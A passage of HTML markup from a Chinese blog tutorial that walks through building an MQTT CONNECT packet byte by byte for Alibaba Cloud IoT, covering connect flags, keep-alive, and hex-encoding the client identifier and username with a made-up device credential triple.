colspan=\"2\"\u003e\u003ccenter\u003eWill QoS\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003eWill Flag\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003eClean Session\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003eReserved\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003ebyte 8\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003eX\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e一共有6个:清理会话 Clean Session,遗嘱标志 Will Flag,遗嘱QoS Will QoS,遗嘱保留 Will Retain,密码标志 Password Flag,用户名标志 User Name Flag。\u003c/p\u003e\u003cp\u003e服务端\u003cstrong\u003e必须\u003c/strong\u003e验证CONNECT控制报文的保留标志位(第0位)是否为0,如果不为0必须断开客户端连接。\u003c/p\u003e\u003cp\u003e各个有效位的具体解释见参考文档\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e一般使用 1100 0010 (用户名、密码、清理会话),转换成16进制为:C2\u003c/strong\u003e\u003c/p\u003e\u003ch5 id=\"保持连接-Keep-Alive\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E4%BF%9D%E6%8C%81%E8%BF%9E%E6%8E%A5-Keep-Alive\" class=\"headerlink\" title=\"保持连接 Keep Alive\"\u003e\u003c/a\u003e保持连接 Keep Alive\u003c/h5\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"center\"\u003eBit\u003c/th\u003e\u003cth align=\"center\"\u003e7\u003c/th\u003e\u003cth align=\"center\"\u003e6\u003c/th\u003e\u003cth align=\"center\"\u003e5\u003c/th\u003e\u003cth align=\"center\"\u003e4\u003c/th\u003e\u003cth align=\"center\"\u003e3\u003c/th\u003e\u003cth align=\"center\"\u003e2\u003c/th\u003e\u003cth align=\"center\"\u003e1\u003c/th\u003e\u003cth align=\"center\"\u003e0\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003ebyte 9\u003c/td\u003e\u003ctd align=\"center\"\u003e保持连接 Keep Alive MSB\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003ebyte 10\u003c/td\u003e\u003ctd align=\"center\"\u003e保持连接 Keep Alive LSB\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e保持连接(Keep Alive)是一个以秒为单位的时间间隔,表示为一个16位的字,它是指在客户端传输完成一个控制报文的时刻到发送下一个报文的时刻,两者之间允许空闲的最大时间间隔。客户端负责保证控制报文发送的时间间隔不超过保持连接的值。如果没有任何其它的控制报文可以发送,客户端\u003cstrong\u003e必须\u003c/strong\u003e发送一个PINGREQ报文。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e如:设置100s表示成16进制为 00 64\u003c/p\u003e\u003c/blockquote\u003e\u003ctable\u003e \u003ctbody\u003e\u003ctr\u003e \u003cth colspan=\"10\"\u003e\u003ccenter\u003e可变报头非规范示例\u003c/center\u003e\u003c/th\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u003cstrong\u003eDescription\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u003cstrong\u003e7\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u003cstrong\u003e6\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u003cstrong\u003e5\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u003cstrong\u003e4\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u003cstrong\u003e3\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u003cstrong\u003e2\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u003cstrong\u003e1\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u003cstrong\u003e0\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003cth colspan=\"10\"\u003e\u003ccenter\u003eProtocol Name\u003c/center\u003e\u003c/th\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003ebyte 1\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003eLength MSB(0)\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003ebyte 2\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003eLength LSB(4)\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003ebyte 3\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u0026#39;M\u0026#39;\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003ebyte 4\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u0026#39;Q\u0026#39;\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003ebyte 5\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u0026#39;T\u0026#39;\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003ebyte 6\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u0026#39;T\u0026#39;\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003cth colspan=\"10\"\u003e\u003ccenter\u003eProtocol Level\u003c/center\u003e\u003c/th\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003ebyte 7\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003eLevel(4)\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003cth colspan=\"10\"\u003e\u003ccenter\u003eConnect Flags\u003c/center\u003e\u003c/th\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd rowspan=\"7\"\u003e\u003ccenter\u003ebyte 8\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003eUser Name Flag(1)\u003c/center\u003e\u003c/td\u003e \u003ctd rowspan=\"7\"\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd rowspan=\"7\"\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd rowspan=\"7\"\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd rowspan=\"7\"\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd rowspan=\"7\"\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd rowspan=\"7\"\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd rowspan=\"7\"\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd rowspan=\"7\"\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003ePassword Flag(1)\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003eWill Retain(0)\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003eWill QoS(01)\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003eWill Flag(1)\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003eClean Session(1)\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003eReserved(0)\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003cth colspan=\"10\"\u003e\u003ccenter\u003eKeep Alive\u003c/center\u003e\u003c/th\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003ebyte 9\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003eKeep Alive MSB(0)\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003ebyte 10\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003eKeep Alive LSB(10)\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e1\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e0\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch5 id=\"得到可变报头\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E5%BE%97%E5%88%B0%E5%8F%AF%E5%8F%98%E6%8A%A5%E5%A4%B4\" class=\"headerlink\" title=\"得到可变报头\"\u003e\u003c/a\u003e得到可变报头\u003c/h5\u003e\u003cp\u003e用户名、密码、清理回话,100s\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e04\u003c/span\u003e 4D \u003cspan class=\"token number\"\u003e51\u003c/span\u003e \u003cspan class=\"token number\"\u003e54\u003c/span\u003e \u003cspan class=\"token number\"\u003e54\u003c/span\u003e \u003cspan class=\"token number\"\u003e04\u003c/span\u003e C2 \u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e64\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"有效载荷\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E6%9C%89%E6%95%88%E8%BD%BD%E8%8D%B7\" class=\"headerlink\" title=\"有效载荷\"\u003e\u003c/a\u003e有效载荷\u003c/h4\u003e\u003cblockquote\u003e\u003cp\u003e需要用到的工具:\u003c/p\u003e\u003cp\u003e\u003ca href=\"http://www.metools.info/code/c25.html\"\u003e在线HMAC计算-ME2在线工具 (metools.info)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.rapidtables.com/convert/number/hex-to-ascii.html\"\u003eHex to ASCII Text String Converter (rapidtables.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.rapidtables.com/convert/number/ascii-to-hex.html\"\u003eASCII to Hex | Text to Hex Code Converter (rapidtables.com)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e对于各参数的具体信息可以参考阿里云文档:\u003ca href=\"https://help.aliyun.com/zh/iot/user-guide/establish-mqtt-connections-over-tcp#section-llx-5ay-oma\"\u003eMQTT-TCP连接通信 (aliyun.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e有效载荷(payload)包含一个或多个以长度为前缀的字段,可变报头中的标志决定是否包含这些字段。如果包含的话,必须按这个顺序出现:客户端标识符,遗嘱主题,遗嘱消息,用户名,密码,且每个字段必须使用UTF-8编码字符串(\u003cstrong\u003e需要在最前面添加表示长度的16进制字符\u003c/strong\u003e)\u003c/p\u003e\u003ctable\u003e \u003ctbody\u003e\u003ctr\u003e \u003cth colspan=\"2\"\u003e\u003ccenter\u003e每个字段示例\u003c/center\u003e\u003c/th\u003e \u003c/tr\u003e \u003ctr\u003e \u003cth\u003e\u003ccenter\u003eBit\u003c/center\u003e\u003c/th\u003e \u003cth\u003e\u003ccenter\u003e7 - 0\u003c/center\u003e\u003c/th\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003ebyte 1\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e数据长度 MSB\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003ebyte 2\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e数据长度 LSB\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003ebyte 3...\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e数据长度大于0,这里就是数据部分\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e我们此时需要去阿里云获取三元组(我随便编一编):\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;ProductKey\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;ksf114514\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;DeviceName\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;Air601\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token property\"\u003e\u0026#34;DeviceSecret\u0026#34;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;ksf1145141919810dj15ltc137666\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e我们约定:\u003c/p\u003e\u003cul\u003e\u003cli\u003e#:ProductKey\u003c/li\u003e\u003cli\u003e*:DeviceName\u003c/li\u003e\u003cli\u003e\u0026amp;:DeviceSecret\u003c/li\u003e\u003c/ul\u003e\u003ch5 id=\"客户端标识符\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E5%AE%A2%E6%88%B7%E7%AB%AF%E6%A0%87%E8%AF%86%E7%AC%A6\" class=\"headerlink\" title=\"客户端标识符\"\u003e\u003c/a\u003e客户端标识符\u003c/h5\u003e\u003cp\u003e通用格式:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e*|securemode=\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003esignmethod=hmacsha1|\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e进行填充:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003eAir601|securemode=\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003esignmethod=hmacsha1|\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e转换为16进制:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e41\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e75\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 6D 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e33\u003c/span\u003e 2C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e67\u003c/span\u003e 6E 6D \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e74\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6D \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e添加长度(40 -\u0026gt; 00 28):\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e00\u003c/span\u003e \u003cspan class=\"token number\"\u003e28\u003c/span\u003e \u003cspan class=\"token number\"\u003e41\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e36\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e75\u003c/span\u003e \u003cspan class=\"token number\"\u003e72\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 6D 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e \u003cspan class=\"token number\"\u003e65\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e33\u003c/span\u003e 2C \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e69\u003c/span\u003e \u003cspan class=\"token number\"\u003e67\u003c/span\u003e 6E 6D \u003cspan class=\"token number\"\u003e65\u003c/span\u003e \u003cspan class=\"token number\"\u003e74\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6F \u003cspan class=\"token number\"\u003e64\u003c/span\u003e 3D \u003cspan class=\"token number\"\u003e68\u003c/span\u003e 6D \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e63\u003c/span\u003e \u003cspan class=\"token number\"\u003e73\u003c/span\u003e \u003cspan class=\"token number\"\u003e68\u003c/span\u003e \u003cspan class=\"token number\"\u003e61\u003c/span\u003e \u003cspan class=\"token number\"\u003e31\u003c/span\u003e 7C\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch5 id=\"用户名\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E7%94%A8%E6%88%B7%E5%90%8D\" class=\"headerlink\" title=\"用户名\"\u003e\u003c/a\u003e用户名\u003c/h5\u003e\u003cp\u003e通用格式:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e*\u0026amp;#\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e进行填充:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003eAir601\u0026amp;ksf114514\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e转换为16进制\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-none\"\u003e\u003ccode 